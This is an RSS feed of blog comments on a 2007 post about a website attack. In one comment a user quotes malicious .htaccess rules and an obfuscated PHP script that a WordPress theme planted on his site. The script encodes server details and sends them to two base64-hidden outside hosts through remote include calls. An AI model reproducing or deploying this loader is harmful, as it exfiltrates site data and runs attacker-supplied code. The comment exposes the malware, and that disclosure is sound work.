<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Anatomy Of An Attack</title>
	<atom:link href="http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/feed/" rel="self" type="application/rss+xml" />
	<link>http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/</link>
	<description>Software and opinions roaming wild in China</description>
	<pubDate>Fri, 25 Jul 2008 14:13:12 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
		<item>
		<title>By: John</title>
		<link>http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-40304</link>
		<dc:creator>John</dc:creator>
		<pubDate>Mon, 19 Nov 2007 01:27:55 +0000</pubDate>
		<guid isPermaLink="false">http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-40304</guid>
		<description>I agree that I wouldn't be too happy with that information being sent somewhere.  It's not difficult to provide it as an option, or to even include it in a disclaimer.</description>
		<content:encoded><![CDATA[<p><!-- google_ad_section_start -->I agree that I wouldn't be too happy with that information being sent somewhere.  It's not difficult to provide it as an option, or to even include it in a disclaimer.<!-- google_ad_section_end --></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Cem Gencer</title>
		<link>http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-40216</link>
		<dc:creator>Cem Gencer</dc:creator>
		<pubDate>Sun, 18 Nov 2007 14:11:43 +0000</pubDate>
		<guid isPermaLink="false">http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-40216</guid>
		<description>I just discovered that one theme i've used generated some weird .htaccess files in my sub-dirs, which redirected the 404-page to a included script, which passed some bunch of my server-variables to 2 urls as querystrings. if this was aimed for statistics ıf usage, it is not a fine way to do it, without asking the owner first.

this is the .htaccess found on various paths:
&lt;code&gt;Options -MultiViews
ErrorDocument 404 //wp-content/themes/194773.php&lt;/code&gt;

and this is the called script, which passes my datas to 2 base64 encoded urls. arent there many base64 decoders available online? do they think they are the only smart-asses? how lame!

&lt;code&gt;error_reporting(0);$s=&#34;e&#34;;$a=(isset($_SERVER[&#34;HTTP_HOST&#34;]) ? $_SERVER[&#34;HTTP_HOST&#34;] : $HTTP_HOST);$b=(isset($_SERVER[&#34;SERVER_NAME&#34;]) ? $_SERVER[&#34;SERVER_NAME&#34;] : $SERVER_NAME);$c=(isset($_SERVER[&#34;REQUEST_URI&#34;]) ? $_SERVER[&#34;REQUEST_URI&#34;] : $REQUEST_URI);$d=(isset($_SERVER[&#34;PHP_SELF&#34;]) ? $_SERVER[&#34;PHP_SELF&#34;] : $PHP_SELF);$e=(isset($_SERVER[&#34;QUERY_STRING&#34;]) ? $_SERVER[&#34;QUERY_STRING&#34;] : $QUERY_STRING);$f=(isset($_SERVER[&#34;HTTP_REFERER&#34;]) ? $_SERVER[&#34;HTTP_REFERER&#34;] : $HTTP_REFERER);$g=(isset($_SERVER[&#34;HTTP_USER_AGENT&#34;]) ? $_SERVER[&#34;HTTP_USER_AGENT&#34;] : $HTTP_USER_AGENT);$h=(isset($_SERVER[&#34;REMOTE_ADDR&#34;]) ? $_SERVER[&#34;REMOTE_ADDR&#34;] : $REMOTE_ADDR);$i=(isset($_SERVER[&#34;SCRIPT_FILENAME&#34;]) ? $_SERVER[&#34;SCRIPT_FILENAME&#34;] : $SCRIPT_FILENAME);$j=(isset($_SERVER[&#34;HTTP_ACCEPT_LANGUAGE&#34;]) ? $_SERVER[&#34;HTTP_ACCEPT_LANGUAGE&#34;] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).&#34;.&#34;.base64_encode($b).&#34;.&#34;.base64_encode($c).&#34;.&#34;.
base64_encode($d).&#34;.&#34;.base64_encode($e).&#34;.&#34;.base64_encode($f).&#34;.&#34;.base64_encode($g).&#34;.&#34;.base64_encode($h).&#34;.$s.&#34;.base64_encode($i).&#34;.&#34;.base64_encode($j); if ((include(base64_decode(&#34;aHR0cDovLw==&#34;).base64_decode(&#34;d3d3My5yc3NuZXdzLndz&#34;).&#34;/?&#34;.$str))){} else {include(base64_decode(&#34;aHR0cDovLw==&#34;).base64_decode(&#34;d3d3My54bWxkYXRhLmluZm8=&#34;).&#34;/?&#34;.$str);}&lt;/code&gt;</description>
		<content:encoded><![CDATA[<p><!-- google_ad_section_start -->I just discovered that one theme i've used generated some weird .htaccess files in my sub-dirs, which redirected the 404-page to a included script, which passed some bunch of my server-variables to 2 urls as querystrings. if this was aimed for statistics ıf usage, it is not a fine way to do it, without asking the owner first.</p>
<p>this is the .htaccess found on various paths:<br />
<code>Options -MultiViews<br />
ErrorDocument 404 //wp-content/themes/194773.php</code></p>
<p>and this is the called script, which passes my datas to 2 base64 encoded urls. arent there many base64 decoders available online? do they think they are the only smart-asses? how lame!</p>
<p><code>error_reporting(0);$s=&quot;e&quot;;$a=(isset($_SERVER[&quot;HTTP_HOST&quot;]) ? $_SERVER[&quot;HTTP_HOST&quot;] : $HTTP_HOST);$b=(isset($_SERVER[&quot;SERVER_NAME&quot;]) ? $_SERVER[&quot;SERVER_NAME&quot;] : $SERVER_NAME);$c=(isset($_SERVER[&quot;REQUEST_URI&quot;]) ? $_SERVER[&quot;REQUEST_URI&quot;] : $REQUEST_URI);$d=(isset($_SERVER[&quot;PHP_SELF&quot;]) ? $_SERVER[&quot;PHP_SELF&quot;] : $PHP_SELF);$e=(isset($_SERVER[&quot;QUERY_STRING&quot;]) ? $_SERVER[&quot;QUERY_STRING&quot;] : $QUERY_STRING);$f=(isset($_SERVER[&quot;HTTP_REFERER&quot;]) ? $_SERVER[&quot;HTTP_REFERER&quot;] : $HTTP_REFERER);$g=(isset($_SERVER[&quot;HTTP_USER_AGENT&quot;]) ? $_SERVER[&quot;HTTP_USER_AGENT&quot;] : $HTTP_USER_AGENT);$h=(isset($_SERVER[&quot;REMOTE_ADDR&quot;]) ? $_SERVER[&quot;REMOTE_ADDR&quot;] : $REMOTE_ADDR);$i=(isset($_SERVER[&quot;SCRIPT_FILENAME&quot;]) ? $_SERVER[&quot;SCRIPT_FILENAME&quot;] : $SCRIPT_FILENAME);$j=(isset($_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;]) ? $_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).&quot;.&quot;.base64_encode($b).&quot;.&quot;.base64_encode($c).&quot;.&quot;.<br />
base64_encode($d).&quot;.&quot;.base64_encode($e).&quot;.&quot;.base64_encode($f).&quot;.&quot;.base64_encode($g).&quot;.&quot;.base64_encode($h).&quot;.$s.&quot;.base64_encode($i).&quot;.&quot;.base64_encode($j); if ((include(base64_decode(&quot;aHR0cDovLw==&quot;).base64_decode(&quot;d3d3My5yc3NuZXdzLndz&quot;).&quot;/?&quot;.$str))){} else {include(base64_decode(&quot;aHR0cDovLw==&quot;).base64_decode(&quot;d3d3My54bWxkYXRhLmluZm8=&quot;).&quot;/?&quot;.$str);}</code><!-- google_ad_section_end --></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ScottS-M</title>
		<link>http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-31991</link>
		<dc:creator>ScottS-M</dc:creator>
		<pubDate>Fri, 29 Jun 2007 14:26:18 +0000</pubDate>
		<guid isPermaLink="false">http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-31991</guid>
		<description>Oops sorry I didn't notice your own plugin tracks 404s and does additional handy stuff. Need to click through the links before commenting.</description>
		<content:encoded><![CDATA[<p><!-- google_ad_section_start -->Oops sorry I didn't notice your own plugin tracks 404s and does additional handy stuff. Need to click through the links before commenting.<!-- google_ad_section_end --></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: ScottS-M</title>
		<link>http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-31990</link>
		<dc:creator>ScottS-M</dc:creator>
		<pubDate>Fri, 29 Jun 2007 14:24:27 +0000</pubDate>
		<guid isPermaLink="false">http://urbangiraffe.com/2007/06/28/anatomy-of-an-attack/#comment-31990</guid>
		<description>Have you seen Alex King's 404 Notifier? Kind of handy for keeping track of the weird URL's that are feeding into your site. Though it does tend to fill up with 404's from comment-XXXX from Akismet-blocked spam.</description>
		<content:encoded><![CDATA[<p><!-- google_ad_section_start -->Have you seen Alex King's 404 Notifier? Kind of handy for keeping track of the weird URL's that are feeding into your site. Though it does tend to fill up with 404's from comment-XXXX from Akismet-blocked spam.<!-- google_ad_section_end --></p>
]]></content:encoded>
	</item>
</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.334 seconds -->
